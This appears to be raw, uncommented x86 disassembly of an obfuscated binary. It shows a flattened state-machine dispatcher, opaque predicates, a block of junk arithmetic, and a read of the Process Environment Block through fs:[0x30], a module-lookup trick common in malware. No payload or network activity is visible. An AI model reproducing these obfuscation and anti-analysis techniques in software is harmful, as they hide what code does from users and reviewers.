or ah, dl
or cl, al
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ch
and cl, dl
xor dl, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0x4b200950
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x4b200950
cmovne eax, ecx
jmp 0x4095e9
cmp eax, 0x5fbc4a23
jle 0x40708f
cmp eax, 0x5fbc4a24
je 0x40b41b
cmp eax, 0x60bf7f9b
je 0x40b425
cmp eax, 0x6229a18e
jne 0x401a00
mov eax, 0x9b81fa4b
jmp 0x401a00
cmp eax, 0xd8187030
jle 0x40717a
cmp eax, 0xd8187031
je 0x40b4b6
cmp eax, 0xd8a025e5
je 0x40b5b4
cmp eax, 0xd8bf5092
jne 0x401a00
cmp byte [ebp - 0x62], 0
mov eax, 0x9d4b80d1
mov ecx, 0xbcc34b0a
cmovne eax, ecx
jmp 0x401a00
cmp eax, 0x3b4ccf94
jle 0x4071b2
cmp eax, 0x3b4ccf95
je 0x40b5ca
cmp eax, 0x3c453bfa
je 0x40b6b0
cmp eax, 0x3ffd834d
jne 0x401a00
mov dword [ebp - 0x30], 0
mov eax, 0xb3d823d7
jmp 0x401a00
cmp eax, 0xb42dfd4b
jle 0x4072e4
cmp eax, 0xb42dfd4c
je 0x40b7e9
cmp eax, 0xb7127ec2
je 0x40b7ff
cmp eax, 0xb71ab4a1
jne 0x401a00
mov eax, dword [0x4a3f84]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xa7fcf3a1
and eax, 0x58030c5e
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0x420a321
xor edi, 0x58030c5e
xor esi, 0xa44221
mov ecx, edi
and ecx, 0xe3df5c94
and eax, 0x1c20a36b
or edi, 0x8e1011c0
and esi, 0x10a64a39
or eax, ecx
mov ecx, eax
mov ebx, eax
xor ecx, 0x1c20a36b
xor ebx, 0x6dcf4d54
xor eax, 0x2c94880
and ebx, ecx
mov dword [ebp - 0x2c], ecx
and eax, 0xec948e2
mov ecx, ebx
not ecx
and ebx, 0x10b64b79
mov edx, ecx
or ecx, edi
and edx, 0xef49b486
and edi, 0xef49b486
or ebx, edx
or esi, edi
not ecx
xor esi, ebx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x4f9e640d
and edx, 0xb0619bf2
or ecx, edx
mov esi, ecx
xor esi, 0x8840c0
xor ecx, 0x3e718a33
mov edx, ecx
and edx, 0xf136b71c
and esi, 0xec948e3
or esi, edx
mov edx, dword [ebp - 0x2c]
or edx, 1
or ecx, edx
and edx, 0xf136b71c
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov edx, ecx
xor edx, 0xaa8b4a45
mov eax, ecx
and eax, 0x2a804004
and edx, ecx
not ecx
and ecx, 0x800b0a41
or eax, ecx
mov ecx, eax
xor ecx, 0xa000004
xor eax, 0xd57fbffb
mov esi, eax
and esi, 0x35a67fe9
and ecx, 0x8a090004
or ecx, esi
mov esi, edx
not esi
and edx, 0xca598016
or eax, esi
and esi, 0x35a67fe9
or edx, esi
not eax
mov esi, 0xd8187031
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x95e7f706
and ecx, 0x6a1808f9
or eax, ecx
mov ecx, eax
xor ecx, 0x1c60a443
xor eax, 0x408002a8
and eax, 0x638c1ba8
and ecx, 0x9c73e457
or ecx, eax
mov eax, ecx
xor eax, 0x8c112003
xor ecx, 0x1081228
and ecx, 0x116ad67c
and eax, 0xee952983
or eax, ecx
xor eax, 0xee952983
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge ch
mov edx, eax
and ah, ch
xor al, cl
and dl, cl
or dl, ah
xor dl, 1
or dl, ch
xor dl, 1
xor al, dl
mov ecx, eax
not cl
and cl, dl
test al, 1
mov edx, 0xe877075
cmovne edx, esi
test cl, 1
jmp 0x40d85b
cmp eax, 0x7b14ca95
jle 0x40730d
cmp eax, 0x7b14ca96
je 0x40b809
cmp eax, 0x7b45e9ff
je 0x40b8e4
cmp eax, 0x7d4258f2
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xfdee3fb0
mov edx, ecx
and edx, 0x211c04e
and ecx, 0x647cd83b
or esi, edx
mov edx, eax
and eax, 0x9b8327c4
and edx, 1
or eax, ecx
xor esi, 0xfdee3fb0
mov ecx, eax
or edx, esi
xor ecx, 0x9b8327c4
xor eax, 0x647cd83b
mov esi, 0xd54442e9
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
setge cl
mov al, ah
xor al, dl
xor al, 1
or al, cl
xor cl, dl
or dl, ah
and cl, ah
mov ch, al
xor cl, 1
xor ch, 1
mov ah, cl
or cl, dl
mov bl, ch
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
mov dh, cl
and ah, ch
xor dh, 1
xor ah, 1
mov dl, dh
xor bl, ah
or ah, ch
or al, dh
and dl, cl
xor ah, 1
xor dh, dl
xor dl, 1
or ah, bl
or dl, cl
mov cl, ah
xor dl, 1
xor cl, 1
or dl, dh
and cl, dl
xor dl, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbf69f6a7
cmovne ecx, esi
test al, 1
mov eax, 0xbf69f6a7
jmp 0x4019f5
cmp eax, 0xe6210fc8
jg 0x4073ff
cmp eax, 0xe53ae948
je 0x40b8ee
cmp eax, 0xe60649fd
jne 0x40e779
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x9093759f
and edi, 0x6f6c8a60
and eax, 0x102beba7
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
mov ebx, esi
not ebx
and esi, 0x6f6c8a60
or edx, ebx
and ebx, 0x9093759f
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xc08366af
and esi, 0x3f7c9950
or edx, esi
mov esi, edx
xor esi, 0x362a7
xor edx, 0x3f7c9950
mov edi, edx
or edx, ecx
and ecx, 0xefd41458
and edi, 0xefd41458
and esi, 0x102beba7
or esi, edi
or eax, ecx
not edx
mov edi, 0x7156330c
xor eax, esi
mov esi, 0xbe2964a
or edx, eax
xor edx, 0xffffffff
sete ch
setne dl
cmp dword [0x4a3f80], 0xa
mov cl, ch
mov dh, ch
setge al
setl ah
inc cl
and cl, ch
and dl, ah
and al, ch
xor cl, 1
or al, dl
xor dh, cl
or cl, ch
xor cl, 1
or cl, dh
xor cl, ah
or ah, ch
mov ch, cl
xor ah, 1
xor ch, 1
or al, ah
mov dl, ch
mov ah, al
and dl, cl
xor ah, 1
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ch, dl
and dl, al
or al, cl
xor ch, 1
mov cl, al
and ch, ah
or dl, ch
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x7156330c
cmovne eax, edi
test dl, 1
mov edx, dword [ebp - 0x34]
cmove eax, edi
mov dword [ebp - 0x110], edx
jmp 0x401a00
cmp eax, 0xf827bd9b
jg 0x40741f
cmp eax, 0xf7b16c2f
je 0x40b985
cmp eax, 0xf7f3afcc
jne 0x401a00
mov eax, 0x6e88c239
jmp 0x401a00
cmp eax, 0x81edcaf9
jg 0x40743f
cmp eax, 0x808ae818
je 0x40b98f
cmp eax, 0x80af6370
jne 0x401a00
mov eax, 0x21238a8a
jmp 0x401a00
cmp eax, 0x41da2afe
jg 0x40745f
cmp eax, 0x411ac27c
je 0x40b9a2
cmp eax, 0x415c7f0f
jne 0x401a00
mov eax, 0x57794b25
jmp 0x401a00
cmp eax, 0xbadc0261
jg 0x40748b
cmp eax, 0xb75a69de
je 0x40b9b5
cmp eax, 0xb9ff08a8
jne 0x401a00
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xac], 0
add eax, 8
mov dword [ebp - 0x58], eax
mov eax, 0xc53f21db
jmp 0x401a00
cmp eax, 0x15b86d7f
jg 0x4074ab
cmp eax, 0x14fcdd35
je 0x40bb27
cmp eax, 0x15655743
jne 0x401a00
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x20
mov eax, 0xa684fd68
jmp 0x401a00
cmp eax, 0x9bedccea
jg 0x4074e5
cmp eax, 0x9b8122a6
je 0x40bb31
cmp eax, 0x9b81fa4b
jne 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x5629248f
and eax, 0xa9d6db70
or edx, eax
mov ecx, edx
xor ecx, 0x5629248f
xor edx, 0xa9d6db70
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0x4582656b
and esi, 0xba7d9a94
and ecx, 0x3e8521f8
or esi, edx
mov edx, eax
and edx, 0xc17ade07
or ecx, edx
mov edx, esi
xor edx, 0x3a050090
xor esi, 0x4582656a
or eax, esi
and esi, 0xc17ade07
and edx, 0x3e8521f8
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x60a82304
and eax, 0x8a060021
mov edx, ecx
or edx, 0x14500400
and esi, 0x74f82704
and ecx, 0x101d8da
and edx, 0x74f82704
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1551dcda
and ecx, 0xeaae2325
or eax, ecx
sete ah
setne al
cmp dword [0x4a3f80], 0xa
setge cl
setl dl
mov ch, cl
or cl, al
xor dl, ah
xor ch, al
mov al, ch
and al, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and dl, ah
and al, cl
or ah, cl
or al, dl
mov cl, ah
mov edx, 0xa7887610
xor cl, al
test cl, 1
mov ecx, 0xf1675779
cmovne edx, ecx
test ah, 1
mov ecx, 0xa7887610
jmp 0x407ff4
cmp eax, 0x63d3324b
je 0x40bb47
cmp eax, 0x6448d927
jne 0x401a00
mov eax, dword [0x4a3f84]
mov dword [ebp - 0x30], 7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf73fc758
mov edi, eax
or edi, 0xd152928a
mov esi, eax
and esi, 0xd152928a
and eax, 0x8c038a7
mov edx, edi
not edx
and edi, 0x2ead6d74
or eax, ecx
or edx, esi
and edx, 0xd152928b
or edx, edi
mov esi, edx
not esi
and edx, 0x8c038a7
mov edi, esi
and edi, 0xf73fc758
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x9f6ce310
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4a3f80], 0xa
setl al
setge cl
mov ch, al
or al, dl
xor ch, dl
xor al, 1
or al, ch
mov ch, cl
and cl, dl
inc ch
and ch, ah
or cl, ch
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, ah
xor dl, 1
or dl, ch
xor dl, al
xor cl, dl
test ah, ah
mov eax, 0x320ff929
cmovne eax, esi
test dl, 1
mov edx, 0x320ff929
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0xe6914309
je 0x40bb58
cmp eax, 0xe7f76c4e
jne 0x401a00
mov eax, 0x5b6f20df
jmp 0x401a00
cmp eax, 0x56c9689
je 0x40bd1a
cmp eax, 0x6b8c37e
jne 0x401a00
rol edi, 9
imul eax
imul ebx
inc eax
ror esi, 0x47
neg esi
sbb edx, 0x58
dec edi
neg ebx
mov ebx, 0x55
sub edi, 0x60
sbb edi, 0xe9
and edi, 0xb0
bswap edi
ror eax, 0xcc
bswap edi
or edx, 0xc3
inc edx
sub edi, 0x42
or esi, 9
rol esi, 0x3a
or edi, 0xa7
bswap ebx
inc eax
rol ebx, 0xab
neg eax
or eax, 0x52
or eax, 0x13
not edi
bswap edx
and esi, 0x7c
imul edi
rol esi, 0x5b
add edx, 0xdc
mov esi, 0xc2
sbb ebx, 0x30
not esi
rol edx, 0xd5
neg ebx
inc edi
rcr esi, 0xa2
rol edx, 0xcd
rol ebx, 0x9d
imul ebx
neg edi
rol esi, 0x67
and edi, 0xa2
dec edx
inc eax
dec esi
not esi
and edx, 0x83
mov esi, 0x97
rcr edx, 0xdc
bswap edx
sbb ebx, 0xf9
dec edi
neg edx
add edi, 0xf2
not edx
not edx
or edi, 0x5e
or ebx, 0xf0
bswap ebx
not esi
neg ebx
rcl eax, 0x83
bswap esi
neg eax
imul edi
imul eax
bswap esi
sub edx, 0xf
or edi, 0x8b
or eax, 0xc1
neg edx
bswap edx
inc edx
imul ebx
not edx
sub eax, 0xd5
inc edx
rol ebx, 0x93
sub edx, 0xb5
inc eax
and esi, 0x95
ror eax, 0x2d
inc edx
bswap eax
neg esi
mov esi, 0xbc
dec edx
add edi, 0xf1
and edx, 0x92
not eax
bswap ebx
rcr edi, 0xfb
sub edx, 0x42
rol esi, 0xa2
sub ebx, 0x82
bswap esi
dec edx
mov ebx, 0x2f
and eax, 0x98
bswap ebx
inc eax
and esi, 0x81
inc edi
rol eax, 0xbc
sub eax, 0xf3
not ebx
rol esi, 0xcc
dec eax
sub edx, 0xc1
ror eax, 0x34
or eax, 0xf5
or ebx, 0x1e
bswap esi
rcr edi, 0x12
neg ebx
and eax, 0x23
not eax
ror edi, 0xd6
rcr eax, 0xcc
neg esi
sbb edi, 0x1d
or edx, 0xd6
ror ebx, 0x74
sbb edx, 0x2d
inc edi
neg edi
sub ebx, 0x76
inc esi
dec edi
sbb eax, 0xc6
dec ebx
not edi
inc edi
sub edi, 0x89
neg edi
not esi
rcl edx, 0x5a
sbb ebx, 0x34
rcl esi, 0xfc
neg ebx
rcr edx, 0x70
add esi, 0x6f
inc eax
not ebx
bswap eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x90]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, 0xcf11182c
jmp 0x401a00
cmp eax, 0x8fe3134c
je 0x40bd27
cmp eax, 0x9010f86e
jne 0x401a00
push dword [ebp - 0x8c]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov ecx, dword [0x4a3f84]
mov esi, 0xe87ae9d4
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xe6fcae4f
mov ecx, eax
and ecx, 0x4900a49
and edx, eax
not eax
and eax, 0xe26ca406
or ecx, eax
xor ecx, 0x4900a49
or ecx, edx
not edx
and edx, 0x190351b0
and ecx, 0xe6fcae4f
or ecx, edx
mov edx, ecx
xor edx, 0xbd021ad9
mov eax, ecx
and eax, 0xbdd736bd
and edx, ecx
not ecx
and ecx, 0x4228c942
or eax, ecx
mov ecx, eax
xor ecx, 0xbd021299
xor eax, 0x4228c942
and ecx, 0xbd021ad9
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x5618cf0e
and ecx, 0xa9e730f1
or edx, ecx
xor edx, 0xeb1ad5d6
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe05dd8c4
and ecx, 0x1fa2273b
or eax, ecx
mov ecx, eax
xor ecx, 0x20515800
xor eax, 0x80232b
and eax, 0xc08ca3ef
and ecx, 0x3f735c10
or ecx, eax
cmp ecx, 0xc08ca3ef
setne dl
cmp dword [0x4a3f80], 0xa
mov ah, dl
setge al
setl ch
inc ah
mov dh, ah
mov cl, al
and dh, dl
xor cl, dl
xor dh, 1
and cl, dl
or dh, dl
xor cl, 1
xor dh, 1
mov bh, cl
or dh, ah
xor ah, ch
mov bl, dh
xor dh, 1
and bl, al
or al, dl
and dh, ch
or ch, dl
xor al, 1
or cl, ch
xor bh, ch
or al, ah
xor cl, 1
xor al, 1
or cl, bh
or al, bl
mov dl, cl
mov ah, cl
or al, dh
xor dl, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6229a18e
cmovne ecx, esi
test al, 1
mov eax, 0x6229a18e
jmp 0x4019f5
cmp eax, 0x51f241c8
je 0x40bd31
cmp eax, 0x540701c1
jne 0x401a00
mov eax, 0xd98c2b1c
jmp 0x401a00
cmp eax, 0xc701d299
je 0x40bd4e
cmp eax, 0xc8192630
jne 0x401a00
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x23e8d7dc
and eax, 0xdc172823
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x20eabff7
mov esi, edx
and esi, 0xdf154008
or ecx, esi
mov esi, eax
xor esi, 0x22823
xor eax, 0x3004008
and eax, 0xdf154008
and esi, 0x20eabff7
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xc4c3456c
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge ch
mov edx, eax
and al, ah
or dl, cl
and cl, ch
xor ch, ah
xor dl, 1
or al, cl
or dl, ch
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov ch, cl
xor ch, al
test al, al
mov eax, 0xe03aa75d
cmovne eax, esi
test cl, cl
not ch
cmovne eax, esi
test ch, 1
mov ecx, 0xe03aa75d
cmove eax, ecx
jmp 0x401a00
cmp eax, 0x24231e06
je 0x40bd58
cmp eax, 0x26027800
jne 0x401a00
mov eax, dword [ebp - 0x168]
cmp eax, dword [ebp - 0x120]
mov eax, 0x4526a214
setl byte [ebp - 0x64]
jmp 0x401a00
cmp eax, 0xa826881d
je 0x40be99
cmp eax, 0xa92a17c7
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x22134000
not edx
mov esi, edx
or esi, 0x10088080
and ecx, 0x321bc080
and edx, 0x4c043768
or edx, ecx
mov ecx, eax
and esi, 0x321bc080
and ecx, 0x81e00817
or ecx, esi
mov esi, 0x6ff748d8
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x52a48d4f
and edx, 0xad5b72b0
or ecx, edx
mov edx, ecx
xor edx, 0xea83aa6
xor ecx, 0xf157c559
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setge cl
setl al
and dl, al
and cl, ah
or al, ah
or cl, dl
mov edx, ecx
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x988144aa
cmovne eax, esi
test dl, 1
mov edx, 0x988144aa
cmovne eax, edx
mov edx, dword [ebp - 0x34]
test cl, 1
cmove eax, esi
mov dword [ebp - 0x148], edx
jmp 0x401a00
cmp eax, 0x707a7f15
je 0x40beac
cmp eax, 0x708ee8d9
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xb01d9e1
and ecx, 0xb072261e
and eax, 0x448c0000
or edx, eax
xor edx, 0xb01d9e1
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd04e1625
and eax, 0x2fb1e9da
or ecx, eax
mov edx, ecx
mov edi, ecx
xor edx, 0x12c34984
xor edi, 0x603c303b
xor ecx, 0x8400c684
mov eax, edi
and eax, 0xad34a660
and edx, 0x52cb599f
or edi, 0x53f00970
and ecx, 0x8408d686
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0x52cb599f
xor ebx, 0xfec4af10
xor edx, 0x24048460
and ebx, eax
and edx, 0x244cdce4
and eax, 0xdbb3231a
mov esi, ebx
not esi
and ebx, 0x8438def6
or eax, edx
mov dword [ebp - 0x2c], esi
and dword [ebp - 0x2c], 0x7bc72109
or esi, edi
and edi, 0x7bc72109
xor eax, 0xdbb3231a
add ebx, dword [ebp - 0x2c]
or ecx, edi
not esi
xor ecx, ebx
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x1286e062
and ecx, 0xed791f9d
or esi, ecx
xor esi, 0x4176e913
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x65041221
and eax, 0x92634540
mov edx, ecx
or edx, 0x98a808
and esi, 0x659cba29
and ecx, 0x8000096
and edx, 0x659cba29
or ecx, esi
mov esi, 0xd2007d94
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x6befd60d
and ecx, 0x941029f2
or eax, ecx
mov ecx, eax
xor ecx, 0x22135290
xor eax, 0x10888044
and eax, 0x51ecac47
and ecx, 0xae1353b8
or ecx, eax
xor ecx, 0x51ecac47
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
and ah, ch
mov ch, al
xor ch, dl
and ch, al
and al, dl
mov dl, ch
or al, ah
xor ch, al
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or al, ch
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd6c22473
cmovne ecx, esi
test al, 1
mov eax, 0xd6c22473
jmp 0x4019f5
cmp eax, 0xd98a4d41
je 0x40beb6
cmp eax, 0xd98c2b1c
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4769a18b
and eax, 0xb8965e74
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x20805440
xor ecx, 0x4769a18b
xor eax, 0xfe9182f3
and eax, ecx
and edx, 0x65885542
and ecx, 0x9a77aabd
or ecx, edx
mov edx, ecx
xor edx, 0x9a77aabd
xor ecx, 0x20804102
mov esi, edx
and esi, 0xb9f82378
or edx, 1
and ecx, 0xa2824936
or eax, esi
mov esi, eax
not esi
and eax, 0x12c4207c
and esi, 0xed3bdf83
or eax, esi
mov esi, eax
xor esi, 0xa2000104
xor eax, 0x54c3fcfa
mov edi, eax
or eax, edx
and edx, 0x5d7db6c9
and edi, 0x5d7db6c9
and esi, 0xa2824936
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x200002dc
and eax, 0x14020400
mov edx, ecx
or edx, 0x41011820
and esi, 0x61011afc
and ecx, 0x8afce103
and edx, 0x61011afc
or ecx, esi
mov esi, 0xa826881d
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xcbfdf923
and ecx, 0x340206dc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1ccb80a6
and ecx, 0xe3347f59
or ecx, eax
xor ecx, 0xe3347f59
setne ah
sete ch
cmp dword [0x4a3f80], 0xa
setl dl
setge al
mov cl, dl
or dl, ch
or ch, al
xor al, ah
xor al, 1
or cl, ah
xor ch, 1
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7b14ca96
cmovne ecx, esi
test al, 1
mov esi, 0x7b14ca96
jmp 0x40c4a1
cmp eax, 0xfc41c0f7
je 0x40bed6
cmp eax, 0xfc8401b0
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x305e78a9
and ecx, 0xcfa18756
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xcfa18756
xor ecx, 0x305e78a9
xor eax, 0x305e78a8
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, eax
not edx
and eax, 0x2b9d93cf
mov esi, edx
and esi, 0xd4626c30
or eax, esi
mov esi, ecx
not esi
and ecx, 0x2b9d93cf
or edx, esi
and esi, 0xd4626c30
or ecx, esi
not edx
mov esi, 0xbe2964a
xor ecx, eax
or edx, ecx
mov eax, edx
xor eax, 0xbf0af608
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x40f509f7
and edx, 0xbf0af608
or edx, eax
setne al
cmp dword [0x4a3f80], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe60649fd
cmovne ecx, esi
test al, 1
mov esi, 0xe60649fd
jmp 0x40c4a1
cmp eax, 0x88a8dcb0
je 0x40bee0
cmp eax, 0x88f7d356
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xca59c1c3
not eax
mov edx, eax
and edx, 0xca59c1c3
and esi, ecx
and eax, 0x82a4e727
or esi, edx
mov edx, esi
not edx
and esi, 0x345605b3
and edx, 0xcba9fa4c
or esi, edx
mov edx, esi
xor edx, 0x42098401
xor esi, 0x1400a0e
and esi, 0xbd464a7e
and edx, 0x42b9b581
or edx, esi
mov esi, edx
xor esi, 0x2a0a501
xor edx, 0xbd464a7e
mov edi, edx
or edx, ecx
and ecx, 0x7d5b18d8
and edi, 0x7d5b18d8
and esi, 0x82a4e727
or esi, edi
or eax, ecx
not edx
mov edi, 0xe991fa79
xor eax, esi
mov esi, 0xb27b3558
or edx, eax
mov eax, edx
not eax
and edx, 0x59aa0f4c
and eax, 0xa655f0b3
or edx, eax
xor edx, 0x59aa0f4c
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge cl
xor cl, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x70]
cmove eax, esi
lea edx, [edx*8]
lea edx, [edx + edx*4]
mov ecx, dword [ecx + edx + 0x14]
add ecx, dword [ebp - 0x48]
mov dword [ebp - 0xe0], ecx
mov ecx, dword [ebp - 0x7c]
lea ecx, [ecx + edx + 0x10]
mov dword [ebp - 0xe4], ecx
jmp 0x401a00
cmp eax, 0x49ba8360
je 0x40bf82
cmp eax, 0x4a9499b1
jne 0x401a00
mov ecx, dword [0x4a3f84]
mov dword [ebp - 0x30], 1
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x760ef7dc
mov esi, edx
and esi, 0xfffffffe
and edx, 0x89f10823
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x9d9b3534
mov esi, edx
and esi, 0x6264cacb
or ecx, esi
mov esi, eax
xor esi, 0x140a3514
xor eax, 0x600803
and eax, 0x6264cacb
and esi, 0x9d9b3534
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x89de0b9a
setne ah
sete al
cmp dword [0x4a3f80], 0xa
mov ch, ah
setge cl
mov edx, ecx
and al, cl
inc dl
and ch, dl
xor dl, ah
or al, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, dl
xor al, 1
or cl, ch
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf7f3afcc
cmovne eax, esi
test dl, 1
mov edx, 0xf7f3afcc
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0xbf69f6a7
je 0x40c05e
cmp eax, 0xbf8b6276
jne 0x401a00
cmp byte [ebp - 0x63], 0
mov eax, 0xc37130d9
mov ecx, 0x65cee96f
cmovne eax, ecx
jmp 0x401a00
cmp eax, 0x1a1eea23
je 0x40c1ab
cmp eax, 0x1add2c0e
jne 0x401a00
mov eax, 0xd7a92e7b
jmp 0x401a00
cmp eax, 0x9f476a89
je 0x40c3c8
cmp eax, 0x9f6ce310
jne 0x401a00
mov dword [ebp - 0x30], 7
mov eax, 0x6448d927
jmp 0x401a00
cmp eax, 0x692f3b91
je 0x40c4b1
